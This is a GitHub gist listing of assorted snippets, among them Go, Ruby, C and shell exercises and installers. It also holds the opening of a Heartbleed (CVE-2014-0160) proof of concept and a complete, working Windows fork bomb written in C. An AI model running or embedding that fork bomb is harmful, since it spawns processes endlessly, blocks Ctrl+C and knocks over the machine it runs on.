Skip to content

Instantly share code, notes, and snippets.

View kh0p's full-sized avatar

楊文里 kh0p

View GitHub Profile
@kh0p
kh0p / index.jade
Created September 15, 2016 10:38
quotes
html
head
meta(charset="utf-8")
link(href="https://fonts.googleapis.com/css?family=Slabo+27px" rel="stylesheet")
body
.container-fluid
.row
header
nav
.col-sm-3
@kh0p
kh0p / asianfonts.sh
Created August 9, 2016 07:14
Asian fonts on arch linux (get with yaourt)
yaourt -S ttf-tw wqy-microhei wqy-zenhei ttf-arphic-ukai ttf-arphic-uming opendesktop-fonts wqy-bitmapfont ttf-hannom otf-ipafont ttf-vlgothic ttf-mplus ttf-monapo ttf-sazanami ttf-baekmuk ttf-unfonts-core ttf-nanum ttf-nanumgothic_coding --noconfirm
package main
import (
"fmt"
"math"
)
func Sqrt(x float64) float64 {
guess := x
for i := 0; i < 10; i++ {
#!/usr/bin/env python2
"""
Author: takeshix <takeshix@adversec.com>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
import sys,struct,socket
from argparse import ArgumentParser
@kh0p
kh0p / gist:10003156
Last active August 29, 2015 13:58
`NoMethodError: undefined method `+' for nil:NilClass` why?
def scoreThrows(radiuses)
mapd = Array.new
radiuses.each do |x|
mapd << 10 if (x < 5) && (x >= 0)
mapd << 5 if (x <= 10) && (x >= 5)
mapd << 0 if (x > 10)
end
out = mapd.reduce(:+)
radiuses.all? { |x| x <= 5 == true } ? out += 100 : out
end
@kh0p
kh0p / win-fork.c
Created September 8, 2013 17:51
small fork bomb for windows.
#include <windows.h>
int main(int argc,char **argv) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
while (1) {
SetConsoleCtrlHandler(0, 1);
CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
}
@kh0p
kh0p / gol.c
Created September 3, 2013 17:15
game of life, c implementation
#include <string.h>
#define C(x, y) (z[q][(y)*72+(x)])
#define P(x, y) \
C(x-1,y-1)+C(x,y-1)+C(x+1,y-1)+C(x-1,y)+C(x+1,y)+C(x-1,y+1)+C(x,y+1)+C(x+1,y+1)
char z[2][1728],q=0;main(i,x,y,n){for(i=0;i<1728;++i)z[q][i]=rand()&1;do{memset(
z[q^1],0,1728);for(y=1;y<24-1;++y)for(x=1;x<72-1;++x){n=P(x,y);z[q^1][(y)*72+(x)
]=(C(x,y)&&(n==2||n==3))|(!C(x,y)&&n==3);}q^=1;for(y=0;y<24;++y){for(x=0;x<72;
++x)putchar(C(x,y)[" o"]);putchar(10);}}while(getchar()!=-1);}
/* --anon */
@kh0p
kh0p / pipes.sh
Last active October 9, 2020 15:18
pipe animation script (shell)
#!/bin/bash
# The author of the original script is unknown to me. The first entry I can
# find was posted at 2010-03-21 09:50:09 on Arch Linux Forums (doesn't mean the
# poster is the author at all):
#
# https://bbs.archlinux.org/viewtopic.php?pid=728932#p728932
#
# I, Yu-Jie Lin, made a few changes and additions:
#
# -p, -t, -R, and -C
@kh0p
kh0p / steam_bootstrap.sh
Last active December 17, 2015 18:50 — forked from grindars/steam_bootstrap.sh
steam, easy install for debian
#!/bin/bash
#
# Steam installer for Debian wheezy (32- and 64-bit)
#
# Place into empty directory and run.
#
download() {
local url="$1"
local filename="$(basename "$url")"